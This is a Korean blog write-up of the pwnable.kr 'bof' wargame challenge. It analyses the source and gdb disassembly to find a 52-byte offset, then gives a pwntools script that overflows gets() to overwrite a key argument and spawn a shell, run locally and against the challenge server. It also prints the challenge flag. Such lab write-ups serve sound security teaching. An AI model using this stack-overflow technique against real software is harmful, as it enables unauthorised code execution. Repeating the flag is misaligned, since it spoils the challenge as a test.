[Pwnable.kr] bof 풀이문서

mj·2023년 1월 27일
0
post-thumbnail

bof 풀이문서

접속

이번 문제에서는 문제 파일을 따로 제공하고, 서버에 접속하면 프로그램이 바로 실행되는 방식으로 문제를 푼다.

  • 아래 명령어를 사용하여 문제 서버에 접속한다.
nc pwnable.kr 9000

문제 파일 확인

문제 파일 다운로드

$ wget http://pwnable.kr/bin/bof
--2023-01-27 09:04:24--  http://pwnable.kr/bin/bof
Resolving pwnable.kr (pwnable.kr)... 128.61.240.205
Connecting to pwnable.kr (pwnable.kr)|128.61.240.205|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7348 (7.2K)
Saving to: ‘bof’

bof           0%       0  --.-KB/s              bof         100%   7.18K  --.-KB/s    in 0s      

2023-01-27 09:04:24 (220 MB/s) - ‘bof’ saved [7348/7348]
$ wget http://pwnable.kr/bin/bof.c
--2023-01-27 09:05:50--  http://pwnable.kr/bin/bof.c
Resolving pwnable.kr (pwnable.kr)... 128.61.240.205
Connecting to pwnable.kr (pwnable.kr)|128.61.240.205|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 308 [text/x-csrc]
Saving to: ‘bof.c’

bof.c         0%       0  --.-KB/s              bof.c       100%     308  --.-KB/s    in 0s      

2023-01-27 09:05:51 (16.8 MB/s) - ‘bof.c’ saved [308/308]
$ ls -al
total 20
drwxrwxr-x 2 magan20 magan20 4096  127 09:05 .
drwxrwxr-x 3 magan20 magan20 4096  127 09:03 ..
-rw-rw-r-- 1 magan20 magan20 7348  516  2019 bof
-rw-rw-r-- 1 magan20 magan20  308  516  2019 bof.c

bof 파일에 실행 권한이 없으므로 실행 권한을 설정한다.

bof 파일 실행 권한 설정

$ chmod +x bof
$ ls -al bof
-rwxrwxr-x 1 magan20 magan20 7348  516  2019 bof

bof 파일 확인

$ file bof
bof: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=ed643dfe8d026b7238d3033b0d0bcc499504f273, not stripped

bof 파일은 32bit ELF 파일이다.

bof.c 파일 내용 확인

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

문제 파일 분석

bof.c 파일을 확인해보면 func(int key) 함수의 gets() 함수에서 오퍼플로우 취약점이 있는 것을 확인할 수 있다.

	gets(overflowme);	// smash me!

func(int key) 함수의 조건문에서는 매개변수 key 의 값을 확인해서 값이 맞으면 쉘을 실행시킨다.

void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}

main() 함수에서 func(int key) 의 인자값을 이미 고정값으로 주어져 있으므로 func() 함수의 gets() 함수를 이용해서 key 의 값을 덮어씌우면 쉘을 획득할 수 있을 것이다.

필요 정보 확인

func(int key) 함수 안에 있는 gets() 함수에서 사용자 입력값은 overflowme 변수로 들어간다.
만약 if 문의 조건문에 사용되는 key 값을 덮어씌울려면 overflowme 와 key 사이의 바이트 수를 구해야 한다.

  • overflowme 와 key 사이의 바이트 수

필요 정보 수집

  • main 함수 어셈블리 코드
gef➤  disas main
Dump of assembler code for function main:
   0x0000068a <+0>:	push   ebp
   0x0000068b <+1>:	mov    ebp,esp
   0x0000068d <+3>:	and    esp,0xfffffff0
   0x00000690 <+6>:	sub    esp,0x10
   0x00000693 <+9>:	mov    DWORD PTR [esp],0xdeadbeef
   0x0000069a <+16>:	call   0x62c <func>
   0x0000069f <+21>:	mov    eax,0x0
   0x000006a4 <+26>:	leave  
   0x000006a5 <+27>:	ret 
  • func 함수 어셈블리 코드
gef➤  disas func
Dump of assembler code for function func:
   0x0000062c <+0>:	push   ebp
   0x0000062d <+1>:	mov    ebp,esp
   0x0000062f <+3>:	sub    esp,0x48
   0x00000632 <+6>:	mov    eax,gs:0x14
   0x00000638 <+12>:	mov    DWORD PTR [ebp-0xc],eax
   0x0000063b <+15>:	xor    eax,eax
   0x0000063d <+17>:	mov    DWORD PTR [esp],0x78c
   0x00000644 <+24>:	call   0x645 <func+25>
   0x00000649 <+29>:	lea    eax,[ebp-0x2c]
   0x0000064c <+32>:	mov    DWORD PTR [esp],eax
   0x0000064f <+35>:	call   0x650 <func+36>
   0x00000654 <+40>:	cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x0000065b <+47>:	jne    0x66b <func+63>
   0x0000065d <+49>:	mov    DWORD PTR [esp],0x79b
   0x00000664 <+56>:	call   0x665 <func+57>
   0x00000669 <+61>:	jmp    0x677 <func+75>
   0x0000066b <+63>:	mov    DWORD PTR [esp],0x7a3
   0x00000672 <+70>:	call   0x673 <func+71>
   0x00000677 <+75>:	mov    eax,DWORD PTR [ebp-0xc]
   0x0000067a <+78>:	xor    eax,DWORD PTR gs:0x14
   0x00000681 <+85>:	je     0x688 <func+92>
   0x00000683 <+87>:	call   0x684 <func+88>
   0x00000688 <+92>:	leave  
   0x00000689 <+93>:	ret    
End of assembler dump.

main 함수의 main+9 어셈블리 코드를 확인하면 func 함수 실행 전 key 값인 0xdeadbeef 가 스택의 맨 위로 들어가는 것을 확인할 수 있다.

   0x00000693 <+9>:	mov    DWORD PTR [esp],0xdeadbeef
   0x0000069a <+16>:	call   0x62c <func>

func 함수의 func+40 어셈블리 코드를 확인하면 ebp+0x8 에 위치하는 값과 0xcafebabe 를 비교하는 것을 확인할 수 있다.
이것을 보았을 때 key 의 위치는 func 함수 실행 중 ebp+8 인 것을 알 수 있다.

0x00000654 <+40>:	cmp    DWORD PTR [ebp+0x8],0xcafebabe
  • key의 위치 : ebp+8

bof.c 를 보면 조건문 바로 위에서 gets() 함수를 실행하는 것을 볼 수 있는데 이것을 봤을 때 func+35 어셈블리 코드가 gets() 함수 실행 코드인 것을 확인할 수 있다.

gets() 함수 실행 전 eax 레지스터에 ebp-0x2c 의 주소가 들어가고, 다시 eax 값이 스택으로 들어가서 gets() 함수의 인자값으로 사용되므로 overflowme 변수의 위치는 ebp-0x2c 인 것을 알 수 있다.

	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
   0x00000644 <+24>:	call   0x645 <func+25>
   0x00000649 <+29>:	lea    eax,[ebp-0x2c]
   0x0000064c <+32>:	mov    DWORD PTR [esp],eax
   0x0000064f <+35>:	call   0x650 <func+36>
   0x00000654 <+40>:	cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x0000065b <+47>:	jne    0x66b <func+63>
  • overflowme 위치 : ebp-0x2c

  • overflowme 와 key 사이의 바이트 수 : ebp + 0x8 - (ebp - 0x2c) = 0x34 = 52

공격

페이로드 작성

from pwn import *

p = process("./bof")

payload = b""
payload += b"A"*52
payload += p32(0xcafebabe)

p.recvuntil(b"me : ")
p.send(payload)
p.interactive()

로컬 공격

$ python3 payload.py 
[+] Starting local process './bof': pid 908576
[*] Switching to interactive mode

$ id
$ id
uid=1000(magan20) gid=1000(magan20) groups=1000(magan20),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare)
$  

페이로드 수정

from pwn import *

#p = process("./bof")
p = remote("pwnable.kr", 9000)

payload = b""
payload += b"A"*52
payload += p32(0xcafebabe)

#p.recvuntil(b"me : ")
p.sendline(payload)
p.interactive()

공격

$ python3 payload.py 
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ id
uid=1008(bof) gid=1008(bof) groups=1008(bof)
$ ls -al
total 32
drwxr-x---   3 root bof  4096 Dec 25 01:48 .
drwxr-xr-x 117 root root 4096 Nov 10 02:06 ..
d---------   2 root root 4096 Jun 12  2014 .bash_history
-r-xr-x---   1 root bof  7348 Sep 12  2016 bof
-rw-r--r--   1 root root  308 Oct 23  2016 bof.c
-r--r-----   1 root bof    32 Jun 11  2014 flag
-rw-r--r--   1 root root    0 Dec 25 01:48 log
-rwx------   1 root root  760 Sep 11  2014 super.pl
$ cat flag
daddy, I just pwned a buFFer :)
$  
  • flag : daddy, I just pwned a buFFer :)
profile
사는게 쉽지가 않네요

0개의 댓글